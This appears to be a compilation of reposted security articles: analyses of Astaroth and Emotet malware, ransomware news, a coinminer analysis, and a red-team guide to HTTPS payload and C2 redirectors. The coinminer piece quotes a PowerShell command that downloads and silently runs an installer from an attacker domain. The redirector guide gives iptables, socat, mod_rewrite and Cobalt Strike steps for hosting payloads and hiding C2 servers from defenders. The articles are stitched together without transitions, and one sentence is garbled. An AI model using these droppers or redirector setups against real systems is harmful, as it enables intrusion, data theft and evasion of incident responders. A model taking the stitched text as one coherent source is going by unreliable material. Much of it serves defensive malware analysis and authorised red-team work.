Initially, the XSL script defines several variables for command execution and data storage. It also creates several ActiveX objects. The majority of ActiveX Objects created with Wscript.Shell and Shell.Applicationare used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders. These variables are used to invoke legitimate Windows OS processes for malicious activities, and serve as a bridge between the remote domain that stores the script and the infected machine.  

Malicious script variables.


The malicious JScript code obfuscation relies on two main techniques.

  1. The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign.
  2. The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign. 

 String.fromCharCode() usage in the XSL script. 

The random number generator function radador().

 These two obfuscation techniques are used to bypass antivirus defenses and make security researcher investigations more challenging.


The XSL script contains variable xparis() that holds the C2 domain the malicious files will be downloaded from. In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to. In order to decide which domain xparis() holds, a variable pingadori() uses the radador() function to randomize the domain. pingadori() is a random integer between one and twelve, which decides which domain xparis() is assigned.

The C2 domain selection mechanism.

One of the most used functions in the XSL script is Bxaki()Bxaki() takes a URL and a file as arguments. It downloads the file to the infected machine from the input URL using BITSAdmin, and is called every time the script attempts to download a file.

In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In order to hide this process, it was renamed certis. In this iteration, they have replaced certutil with BITSAdmin.

 Bxaki obfuscated function.


Bxaki deobfuscated function.

In order to gain access to the infected computer’s file system, the XSL script uses the variable fso with FileSystemObject capabilities. This variable is created using an ActiveX object. The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files. 

The file’s path.  

The directory creation. 


The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files. These files are downloaded to a directory (C:\Users\Public\Libraries\tempsys) on the infected machine by Bxaki() and xparis(). Within these twelve files are the Astaroth Trojan modules, several additional files the Trojan may use to extend its capabilities, and an r1.log file. The r1.log file stores information for exfiltration. A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018. 

The script verifies all parts of the malware have been downloaded. 

After downloading the payload, the XSL script checks to make sure every piece of the malware was downloaded. 

One of the twelve download commands as detected by the Cybereason platform in same variant of Astaroth. 

The twelve downloaded files.


A unique feature of this latest Astaroth Trojan campaign is the malware’s ability to search for specific security products and exploit them.

 In earlier variants, upon detecting Avast, the XSL script would simply quit. Instead, it now uses Avast to execute malicious actions. 

Similar to earlier versions of the Astaroth Trojan campaign, the XSL script searches for Avast on the infected machine, and specifically targets a certain process of Avast aswrundll.exe. It uses three variables stem1stem2, and stem3 that, when combined, form a specific path (C:\Program Files\AVAST Software\AVAST\aswRunDll.exe) to aswRundll.exe. It obfuscates this path using the fromCharCode()function.

aswrundll.exe is the Avast Software Runtime Dynamic Link Library that is responsible for running modules for Avast. If aswrundll.exe exists at this path, Avast exists on the machine.

Note: aswrundll.exe is very similar to Microsoft’s own rundll32.exe — it allows you to execute DLLs by calling their exported functions. The use of aswrundll.exe as a LOLbin has been mentioned in the past year.


Stem variables presented as unicode strings.

Stem variables decoded to ASCII.


Once the XSL script has identified that Avast is installed on the machine, it loads a malicious module Irdsnhrxxxfery64 from its location on disk. In order to load this module, it uses an ActiveX Object ShAcreated with Shell.Application capabilities. The object uses ShellExecute() to create an aswrundll.exeprocess instance and loads Irdsnhrxxxfery64. It loads the module with parameter vShow set to zero, which opens the application with a hidden window. 

Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exeregsvr32.exe is a native Windows utility for registering and unregistering DLLs and ActiveX controls in the Windows registry. 

 The script attempts to load the malicious module using regsvr with the run function. 

Procmon shows the malicious module loaded to the Avast process.

Procmon shows the malicious module loaded using the regsvr32.exe process.  


The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer.

 Information pertaining to lrdsnhxxfery64.~.

After unpacking the module, it is packed with an additional inner packer Pe123\RPolyCryptor. This module has to be investigated in a dynamic way to fully understand the malware and the role the module played during execution.

Information pertaining to lrdsnhrxxfery64_Unpacked.dll.

 Throughout the malware execution, Irdsnhrxxxfery64.~ acts as the main malware controller. The module initiates the malicious activity once the payload download is complete. It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language. 

 The main module collecting information about the machine.


After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW()function.

Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe

Irdsnhrxxxfery64 injecting lrdsnhrxxfery98.

The malicious modules in regsvr32.exe memory

After the Irdsnhrxxxfery98 module is loaded, the malware searches different processes to continue its malicious activity depending on the way Irdsnhrxxxfery64 was loaded.

  1. If Irdsnhrxxxfery64 is loaded using aswrundll.exe, the module will continue to target aswrundll.exe.It will create new instances and continue to inject malicious content to it.
  2. If Irdsnhrxxxfery64 is loaded using regsvr32.exe, it will target three processes:
  • It will target unins000.exe if it is available. unins000.exe is a process developed by GAS Tecnologia that is common on Brazilian machines.
  • If unins000.exe does not exist, it will target Syswow64\userinit.exeuserinit.exe is a native Windows process that specifies the program that Winlogon runs when a user logs on to their computer.
  • Similarly, if unins000.exe and Syswow64\userinit.exe do not exist, it will target System32\userinit.exe.

The malware searches for targeted processes.

Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe


After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source. This new process is in a suspended state so the malware can unmap its memory and write its contents to the new, allocated space. Once this is complete, it will resume the suspended process. By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process.

Astaroth module creates a process in a suspended state (dwCreationFlags set to 4).

Unmapping process memory.

Writing content and resuming the process.

The Cybereason platform was able to detect the malicious injection, identifying Irdsnhrxxxfery64.~Irdsnhrxxxfery98.~, and module arqueiro

The downloaded modules found in regsvr32.exe as detected by the Cybereason platform.


The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate.


Irdsnhrxxxfery98 information collecting capabilities.

In addition to its own information stealing capabilities, the Astaroth Trojan campaign also uses an external feature NetPass. NetPass is one of the downloaded payload files renamed to lrdsnhrxxferyb.jpg.

NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:

  • Login passwords of remote computers on LAN.
  • Passwords of mail accounts on an exchange server stored by Microsoft Outlook.
  • Passwords of MSN Messenger and Windows Messenger accounts.
  • Internet Explorer 7.x and 8.x passwords from password-protected web sites that include Basic Authentication or Digest Access Authentication.
  • The item name of Internet Explorer 7 passwords that always begin with Microsoft_WinInet prefix.
  • The passwords stored by Remote Desktop 6. 

NetPass usage.


After injecting into the targeted processes, the modules continue their malicious activity through those processes. The malware executes malicious activity in a small period of time through the target process, deletes itself, and then repeats. This occurs periodically and is persistent.

3 ways

The malware’s different functionality.

Once the targeted processes are infected by the malicious modules, they begin communicating with the payload C2 server and exfiltrating information saved to the r1.log file. The communication and exfiltration of data was detected in a real-world scenario using the Cybereason platform.

The malicious use of GAS Tecnologia security process unins000.exe. 

Data exfiltration from unins000.exe to a malicious IP. 


Our Active Hunting Service was able to detect both the malicious use of the BITSAdmin utility and the WMIC utility. Our customer immediately stopped the attack using the remediation section of our platform and prevented any exfiltration of data. From there, our hunting team identified the rest of the attack and completed a thorough analysis.

We were able to detect and evaluate an evasive infection technique used to spread a variant of the Astaroth Trojan as part of a large, Brazilian-based spam campaign. In our discovery, we highlighted the use of legitimate, built-in Windows OS processes used to perform malicious activities to deliver a payload without being detected, as well as how the Astaroth Trojan operates and installs multiple modules covertly. We also showed its use of well-known tools and antivirus products to expand its capabilities. The analysis of the tools and techniques used in the Astaroth campaign show how truly effective LOLbins are at evading antivirus products. As we enter 2019, we anticipate that the use of LOLbins will likely increase. Because of the great potential for malicious exploitation inherent in the use of native processes, it is very likely that many other information stealers will adopt this method to deliver their payload into targeted machines.

As a result of this detection, the customer was able to contain an advanced attack before any damage was done. The Astaroth Trojan was controlled, WMIC was disabled, and the attack was halted in its tracks.

Part of the difficulty identifying this attack is in how it evades detection. It is difficult to catch, even for security teams aware of the complications ensuring a secure system, as with our customer above. LOLbins are deceptive because their execution seems benign at first, or even sometimes safe, as with the malicious use of antivirus software. As the use of LOLbins becomes more commonplace, we suspect this complex method of attack will become more common as well. The potential for damage will grow as attackers will look to other more destructive payloads.

For more information on LOLbins in the wild, read our research into a different Trojan. 

LOLbins and Trojans: How the Ramnit Trojan Spreads via sLoad in a Cyberattack










Deobfuscating Emotet’s powershell payload

( Original text by malfind )

Emotet is a banking trojan, targeting computer users since around 2014. During that time it has changed its structure a lot. Lately we see massive emotet spam campaigns, using multiple phishing methods to bait users to download and launch a malicious payload, usually in the form of a weaponized Word document.

Emotet's chain of infection
Emotet’s chain of infection

First user receives a fake e-mail, trying to persuade him to click on the link, where the weaponized doc is being downloaded. Document is then trying to trick user to enable content and allow macros in order to launch embedded VBA code. VBA is obfuscated. We can also deobfuscate it, but in the end it launches a powershell command. Let’s skip VBA deobuscation today, as I want to focus on powershell. We can obtain powershell command launched by VBA code without deobfuscation, by using any sandbox with powershell auditing.

Typical Emotet document

The powershell code itself is obfuscated as well. The problem with just launching it in the virtual environment is that we probably won’t see every network IoC this way. Of course there are ways to do it (just block dns requests, and malware should try every fail-over domain), but in my opinion if there is time to do it – it is always better to deobfuscate code to better understand it.

Obfuscation is a way to make a malicious code unreadable. It has two purposes. First to trick antivirus signatures, second to make analysis of the code harder and more time-consuming.

In this post, I want to show three ways of obfuscation used by Emotet malware since December 2017.

1. String replace method

This method uses multiple powershell’s “replace” operators to swap a bunch of junk strings with characters that in the end produce a valid powershell code

Example 1. Code obfuscated with replace string method

Of course you can deobfuscate it manually in any text editor, just by replacing every string with its equivalent or you can speed up a process with correct regular expression. In the end you can put this regular expression in the python script and automate it completely. There are just few things to consider when implementing it in python:

  • String concatenations. These little ‘+’ can mess up with our regexp, so they have to be handled first
  • Char type projection – sometimes for additional obfuscation, strings to be replaced are not typed directly to the powershell code, but they are converted from int to char. We have to handle that as well
  • Replacing one part of the code can “generate” new replace operators – this is because “junk string” can be in the middle of replace operator (for example: -replFgJace, where FgJ is a string to be replaced with empty string). For this reason it is best to put regexp in the loop and perform replace operation as long as there is something to replace
Deobfuscated code from example 1

2. String compression

This method is quite simple as it uses powershell’s built-in class DeflateStream to decompress and execute a compressed stream.

Example 2. Decompress string obfuscation method

The easiest way to deobfuscate this is to use powershell to simply decompress the string. Just remember to remove command between first two parenthesis – its a an obfuscated Invoke-Expression cmdlet that will execute the code on your computer! Also, always use a safe (possibly disconnected from the network, unless you know what you are doing), virtualized environment when dealing with malicious code.

Decompression method deobfuscation in powershell

But what if we’d like to have a portable python script that can deal with this type of deobfuscation? If we look at MSDN documentation, then we will see that DeflateStream class follows RFC 1951 Deflate data format specification, and can actually be decompressed by using zlib library. There is one catch: zlib’s decompress method by default expects correct zlib file header, which DeflateStream does not have, as it is not a file but a stream. To force zlib to decompress a stream we can either add a header to it or simply pass a -zlib.MAX_WBITS (there is a minus at the beginning!) argument to decompress function. zlib.MAX_WBITS (which is 15) argument with a negative value informs decompress function that it should skip header bits.

3. ASCII codes array

How does the computer represents strings? Well that is simple, as numbers. But numbers are much harder to read for human than strings, so these numbers are later changed to strings by every program. But if obfuscation’s goal is to make code harder to read, then why don’t use this trick to hide a true purpose of malicious code? This is the third obfuscation method I will present.

Example 3. Ascii code array obfuscation method

On the example above we can see a long string, with a lot of numbers in it. If you are familiar with ASCII codes, you will probable recognize them instantly. If not then your hint should be a type projection after a pipe that converts every given string from table first to int then to char. Method presented in example 3, also uses a split operator, that splits a string by a given separator to further obfuscate the code. I saw samples where a pure char array is used instead of a string that had to be split.

To deobfuscate this in python simply use similar split method (found in re library), and then map numbers to chars by using chr() function.

Ascii array with split method deobfuscation in python

A little more about the code

So now we deobfuscated the code, what we can gain from it? We can clearly see that this is a simple dropper, that uses WebClient class to connect to hardcoded domains, download a binary to %TEMP% directory and then launch it. The break instruction combined with try-catch clause assures that this script will connect to the domains provided until a download operation is completed successfully. So if it gets a binary from the first domain on the list, we will never see others in dynamic analysis. This is why deobfuscation is important.


Many obfuscated  powershell scripts (not only from Emotet) are using Invoke-Expression cmdlet to run an obfuscated string as a code. This is very important when we are working with powershell malicious code in the windows console, because missed invoke-expression cmdlet will launch a code instead of just displaying it. Therefore it is always important to look for disguised Invoke-Expression cmdlets. Why disguised? Because they are not always easy to spot. Firstly, powershell allows for usage of aliases for long commands. So for example built-in alias for Invoke-Expression is “iex”. But this is not the end! Powershell also allows to concatenate strings and use them as cmdlets, and strings can be stored in variables. You see the problem?

Let’s return to example with DeflateString compression. there is a following line at the beginning of the script:


It takes a value of a powershell’s built-in variable $verbosepreference, converts it to string, takes 2nd and 4th char, concatenates it with ‘X’ and concatenates them all together to one string using join operator.

What is the default value of  $verbosepreference? It turns out it is ‘SilentlyContinue’. Second and forth chars of this string are, you guessed it, ‘i’ and ‘e’. When we concatenate them with ‘x’ we receive ‘iex’ – alias of Invoke-Expression cmdlet. Creepy? Kinda. this kind of tricks in powershell are very popular among malware developers.

Invoke-Expression obfuscation example

Homework: Can you spot an Invoke-Expression cmdlet in third example (ASCII table)?

Deobfuscation script for Emotet

I put my deobfuscation script for Emotet on GitHub. You can use it and modify it as you wish. For now it automatically detects and deobfuscates all obfuscation methods described in this post.

Ransomware Infects 100K PCs in China, Demands WeChat Payment

( original text by  )

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services.

The crooks demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent’s WeChat payment service by scanning a QR code.

A report from Chinese security firm Huorong, the malware, dubbed ‘WeChat Ransom’ in some reports, emerged on December 1 and the number of infected systems has grown to over 100,000 as of December 4.

The infection rate seems to have accelerated in one day, rising to the above number from just 20,000 yesterday.

The researchers say that the malware author used the Chinese social networking service Douban to send out commands. After analyzing the malware, they were able to access two servers used for storing data and found on one of them over 20,000 passwords for Taobao and Alipay accounts.

Credentials for other services are also targeted by the malware as it hunts for login information for Tmall, Aliwangwang, Alipay, 163 Mailbox, Baidu Cloud, Jingdong, and QQ.

Stolen data stats

According to information from Tencent, the malware propagated through a compromised popular application designed to manage multiple QQ accounts at the same time. Additional data reveals that the malware author poisoned at least 50 applications to spread the ransomware.

Telemetry data showed that a large part of the victims did not have a security solution installed on the system. This explains the sharp rise of infections despite security companies issuing warnings about the threat since its outbreak at the beginning of the month and updating their antivirus products to block it.

Malware fighters see no challenge

Chinese security companies analyzing the malware agree that it is far from a complex threat that can be easily defeated.

Although it claims to delete the decryption key if the victim fails to pay the ransom by a certain date, file recovery is still possible because the key is hardcoded in the malware.

The simplicity of the file encryption (XOR, not DES as the author claimed in the ransom note) also made it possible for decryption tools from several security companies including Qihoo, Tencent, and Huorong to become available.

Author leaves hard-to-miss trail

Experts from Huorong examining this ransomware string found some details that could lead to identifying and apprehending the malware author.

They discovered a name, a mobile phone number, a QQ account, and an email address that could help police catch the crook. Using the info present in the malware code, the researchers ran a domain lookup and found additional details that connected the dots and possibly leading to the identification of the author.

Tencent on December 1 banned the WeChat QR code for makingnd and control server. the ransom payments and closed the account associated with it. In its turn, the Douban platform deleted the page used by the malware as a command and control server.

Cryptocurrency Mining Malware uses Various Evasion Techniques, Including Windows Installer, as Part of its Routine

( Original text by by Janus Agcaoili and Gilbert Sison )

The prodigious ascent of cryptocurrency-mining malware was not only brought about by its high profit potential, but also due to its ability to remain undetected within a system, especially when combined with various obfuscation routines. The concept of a stealthy, difficult-to-detect malware operating behind the scenes has proven to be an irresistible proposition for many threat actors, and they’re evidently adding even more techniques, as seen in a cryptocurrency miner (detected as Coinminer.Win32.MALXMR.TIAOODAM) we discovered that uses multiple obfuscation and packing as part of its routine.

Installation behavior

 Figure 1. Infection chain for the malware

Figure 1. Infection chain for the malware

The malware arrives on the victim’s machine as a Windows Installer MSI file, which is notable because Windows Installer is a legitimate application used to install software. Using a real Windows component makes it look less suspicious and potentially allows it to bypass certain security filters.

Upon installation of the sample we analyzed, we found that it will install itself in the directory %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server, which will be created if it isn’t already present in the user’s machine. This directory will contain various files that are used as part of its process:

  • bat – A script file used to terminate a list of antimalware processes that are currently running
  • exe – An unzipping tool used for another file dropped in the directory, icon.ico
  • ico – A password protected zip file posing as an icon file

Unpacking icon.ico reveals two addition files contained within it:

  • ocx – The loader module responsible for decrypting and installing the cryptocurrency mining module
  • bin – The encrypted, UPX-packed and Delphi-compiled cryptocurrency mining module

The next part of the installation process involves creating copies of the kernel file ntdll.dll and the Windows USER component user32.dll in %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server\{Random Numbers}. We theorize that this is done to possibly prevent detection of the malware’s APIs.  This is followed by the following configuration files, including the miner’s, being dropped in the folder %UserTemp%\[Random Number].

 Figure 1. Infection chain for the malware

Figure 2. Configuration file for the miner

The installation interestingly uses Cyrillic (and not English) text during the process, which might indicate the region the malware came from.

 Figure 3. One of the windows displayed during installation

Figure 3. One of the windows displayed during installation

Process injection and watchdog creation analysis

After installation, ex.exe will then perform its routine by unzipping icon.ico before executing the following command:

  • rundll32 default.ocx,Entry u

It will then create three new Service Host (svchost.exe) processes for the purpose of injecting its codes. The first and second SvcHost processes will act as a watchdog, most likely to remain persistent. These are responsible for re-downloading the Windows Installer (.msi) file via a Powershell command when any of the injected svchost processes are terminated:

  • “powershell.exe -command $cli = new-Object System.Net.WebClient;$cli.Headers[‘User-Agent’] = ‘Windows Installer’;$f = ‘C:\%UserTemp%\{random number}.msi’; $cli.DownloadFile(‘hxxps://superdomain1709[.]info/update[.]txt’, $f);Start-Process $f -ArgumentList ‘/q’”

The third SvcHost process is then injected with the coinminer module and executed using the following command:

  • “%system32%\svchost.exe –config={malware configuration path}

 Figure 4. Screenshot of the three Service Host processes

Figure 4. Screenshot of the three Service Host processes

To make detection and analysis even more difficult, the malware also comes with a self-destruct mechanism. First, it creates and executes the following file:

  • {Random Characters}.cmD <- self-delete command-line script

It then deletes every file under its installation directory and removes any trace of installation in the system.

One notable aspect of the malware is that it uses the popular custom Windows Installer builder WiX as a packer, most likely as an additional anti-detection layer. This indicates that the threat actors behind it are exerting extra effort to ensure that their creation remains as stealthy as possible.

Trend Micro Solutions

The evolving aspect of cryptocurrency mining malware — constantly adding evasion techniques — means that powerful security tools are often needed to defend users from these kinds of threats.

Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and messages as well as blocking all related malicious URLs. The Trend Micro™ Deep Discovery™solution has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.

Trend Micro XGen™ security provides a cross-generational blend of threat defense techniques to protect systems from all types of threats, including ransomware and cryptocurrency-mining malware. It features high-fidelity machine learning on gateways and endpoints, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen security protects against today’s threats that bypass traditional controls; exploit known, unknown, or undisclosed vulnerabilities; either steal or encrypt personally identifiable data; or conduct malicious cryptocurrency mining. Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud SecurityUser Protection, and Network Defense.

Indicators of Compromise (IoCs)

Detected as Trojan.BAT.TASKILL.AA

  • 90ae20b30866bc6dbffd41869ccb642b3802f03d18df19e6c1dcab260bbeba7d

Detected as Coinminer.Win32.MALXMR.TIAOODAM

  • 8de725e349bb8d373763470ca6bcfd45e0b86839519f216ff436d3b8452d2248
  • 95bdcfb385acd09029e93f2d0024a4c8e9b3c0be8e5091b63d98e9d88b9cc33b
  • ccd609dc059a7bed7bf33c6d7dbd155fb40cdfd7d0091a9809f7f158ecd181bc
  • a3f34851af892bc0d257f911dd325ebbb959c26533a3c68f15773a633f6c4d38
  • 8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
  • 34d1ba59bc22c0b1c1ce46327efdf3286dec4c54e2482986a0478b27bb3cf48b
  • 8be47acf7e9ce316d0b39b65363fc154a83f6946233eebf494216f01e52c44f5
  • 9a2eaaba3357f4addbc56bc7eaa2288e813fdcd1cb086efb3ad20d912968a251


HTTPS Payload and C2 Redirectors

( Original text by Jeff Dimmock )

I’ve written rather extensively about the use of redirectors and how they can strengthen your red team assessments. Since my first post on the topic, the question I’ve received most frequently is about how to do the same thing with HTTPS traffic. In this post, I will detail different HTTPS redirection methods and when to use each.

I’d like to give a shoutout to Joe Vest (@joevest) for building HTTPS command and control (C2) redirection into his cs2modrewrite tool and figuring out some of the required Apache configurations for such redirection.

Dumb Pipe Redirection

Redirectors can best be described as fitting into one of two categories: dumb pipe or filtering. As its name suggests, the “dumb pipe” redirectors blindly forward traffic from their network interface to another configured host interface. This type of redirector is useful for their quick standup, but natively lack the level of control over the incoming traffic being redirected. As such, dumb pipe redirection will buy you some time by obfuscating your C2 server’s true IP address, but it is unlikely to seriously hamper defender investigations.

Since the two methods below do not perform any conditional filtering on traffic, they can be used interchangeably for payload or C2 redirection.


Using the Linux firewall tool iptables, we can NAT any incoming traffic on a certain port to a remote host IP on a given port. This lets us take any TCP traffic over 443 (line 1 below) and redirect it to our backend server over 443 (line 2 below). Replace <REMOTE-HOST-IP-ADDRESS> with the IP address of your backend server and run the following commands with root permissions:

iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
sysctl net.ipv4.ip_forward=1


socat is an alternate tool we can use to create the same kind of traffic redirection. The one-liner below will redirect any traffic from port 443 (the left-most 443 below) to the provided remote host IP address on port 443 (right-most 443). As before, replace <REMOTE-HOST-IP-ADDRESS> with the IP address of your backend server.

By default, socat runs in the foreground. While you can run the process in the background, I recommend running socat within a screen session to make on-the-fly redirection modifications much easier.


socat redirectors can begin to experience issues or redirector host slow-downs if you are redirecting large amounts of traffic, such as C2. If you experience those issues, try switching to iptables.

Apache mod_rewrite

While the dumb pipe redirectors are useful for a quick redirector standup, filtering redirectors provide virtually endless methods to hamper defenders from investigating your attack infrastructure. Any mature web server technology should be able to provide filtering redirection, but this blog post focuses on using Apache and its mod_rewrite module.

This section will focus on payload and C2 redirection separately because the redirectors often need to provide differing functionality based on the expected traffic. For the following examples, we will be using as the attacker domain and using Debian 9 for all servers.

First-Time Setup

This technique requires a couple one-time setup steps. The steps below include generating and using a LetsEncrypt certificate for the infrastructure. If you acquired your certificate elsewhere or are opting to use a self-signed certificate, skip those steps.

Apache and SSL Setup

To set up Apache mod_rewrite for traffic redirection, we will need to perform some first-time setup. For further detail about the initial setup than what is covered below, check out the mod_rewrite Basics section of my first mod_rewrite post.

On your redirector, run the following commands with root rights:

apt-get install apache2
a2enmod ssl rewrite proxy proxy_http
a2ensite default-ssl.conf
service apache2 restart

In the Apache2 configuration file (/etc/apache2/apache2.conf by default), locate the Directory tag for your site’s directory and change None to All:

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted

The commands above will enable multiple Apache modules that we’ll be working with and enable SSL on the site, albeit with a self-signed certificate.

Generate Cert with LetsEncrypt

If you already have a certificate or wish to use a self-signed certificate, you can skip the steps in this section.

To generate our LetsEncrypt certificate on Debian:

sudo service apache2 stop
sudo apt-get install certbot
sudo certbot certonly --standalone -d -d

Modify the certbot command to include any additional subdomains you want protected with additional -d flags. Notice that above we specify the root domain as well as the www subdomain.

If there are no generation issues, the cert files will be saved to /etc/letsencrypt/live/

Edit the SSL site configuration (located at /etc/apache2/sites-enabled/default-ssl.conf by default) so the file paths for the SSLCertificateFile and SSLCertificateKeyFile options match the LetsEncrypt certificate components’ paths:

SSLCertificateFile      /etc/letsencrypt/live/
SSLCertificateKeyFile   /etc/letsencrypt/live/

Also, add the following code to the same file within the VirtualHost tags:

# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

Again, thanks to Joe Vest for figuring the options above out!

We now have a basic SSL installation using a valid LetsEncrypt certificate. From here, the post will demonstrate how to serve payload files or webpages required for your pretexts and how to redirect C2 traffic.

Payload Redirection

When I’m designing an attack infrastructure, I consider any file or payload that will be publicly hosted for use during social engineering, or any other part of the attack path, to be part of payload redirection. In our setup, the redirector will proxy any valid requests to the corresponding backend server and redirect all other requests to the target’s real 404 page. The files can be hosted using either HTTP or HTTPS; the end-user will see a valid SSL connection for

Here is what our set up will look like:

SSL Payload Redirection Diagram
SSL Payload Redirection Diagram

Notice that we are hosting the files over HTTP on the backend. We’re doing this for demonstration and ease of setup.

Once our first-time setup is complete on the host (see above) we will add the following text to the file /var/www/html/.htaccess:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ [L,R=302]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the above conditions are not met, change the entire request to and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

Notice in the above ruleset that we are using HTTP for the first RewriteRule, since we are hosting the payload.exeand landingpage.html file on the backend server using HTTP only.

Here is how the landingpage.html file will render in our victims’ browsers:

Redirected SSL Traffic to Hosted File
Redirected SSL Traffic to Hosted File

Notice that the browser shows in the URL bar, despite the file itself being hosted on another server. The backend file can be hosted either via HTTPS or HTTP; both will appear as expected in the target’s browser.

The files can also be hosted on a Cobalt Strike team server. Cobalt Strike versions 3.10 and above support hosting the social engineering attacks and files via SSL. To do this, you need to create a keystore from the SSL certificate, upload the keystore to the Cobalt Strike team server, and specify the keystore in the server’s Malleable C2 profile.

Making the keystore for Cobalt Strike:

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name -passout pass:mypass
keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias

Add the keystore info to a Malleable C2 profile:

https-certificate {
	set keystore "";
	set password "mypass";

When the team server is started, it will leverage the provided keystore and enable SSL file hosting.

Command and Control Redirection

Command and Control redirection is largely similar to payload redirection, except that the htaccess file will need to allow only C2, hosted file, and stager URIs.

The C2 URIs are all specified within the team server’s Malleable C2 profile on the set uri lines. These should be allowed back to the team server using the %{REQUEST_URI} mod_rewrite variable.

Hosted files can be served by Cobalt Strike either via HTTP or HTTPS. Hosting the files via HTTPS will require the extra steps of creating the keystore and modifying the Malleable C2 profile; however, it will simplify the redirector’s htaccess file ruleset. If you opt to host the files via HTTP, ensure your redirector’s htaccess rules proxy to HTTP, rather than HTTPS.

Stager URIs will need to be redirected back to the team server if you plan to use any staged payloads during your attack path. By default, the Cobalt Strike stager URI is a random four character string. We can allow that through via a regex or, with Cobalt Strike 3.10 and newer, specify a stager URI in a Malleable C2 profile in the http-stagerblock.

Here is a ruleset that redirects that static files of payload.exe and landingpage.html to the team server over HTTP, while redirecting the C2 URIs of /legit-path-1 and /legit-path-2 and the staging uri of /stager over HTTPS:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC]
RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ [L,R=302]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path over HTTP from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the request’s URI is ‘/legit-path-1’, ‘/legit-path-2’, or ‘/stager’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path over HTTPS from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the above conditions are not met, change the entire request to and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

This is obviously a contrived example and you’ll want to set this up with a Malleable C2 profile that provides some evasion benefits, but the code above should illustrate how to mix content between HTTP and HTTPS.

For more information about Cobalt Strike C2 redirection, with some examples, check out my post Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite.

Many Redirectors to One Backend Server

SSL redirectors provide the interesting capability of protecting multiple callback domains with distinct SSL certificates. Since the certificates can be completely unique, this setup can reduce the risks of incident responders identifying C2 domains based on certificate metadata.

Here is what that setup would look like:

Using Multiple Domains with SSL Redirection
Using Multiple Domains with SSL Redirection

We set up each redirector as its own segment, following the steps detailed in the sections above. The key difference in setup is specifying the two domains in our callback popup during the Cobalt Strike listener setup. Here is what that setup looks like in Cobalt Strike:

Setting Up an HTTPS Listener to Use Multiple SSL Domains with Unique Certificates
Setting Up an HTTPS Listener to Use Multiple SSL Domains with Unique Certificates

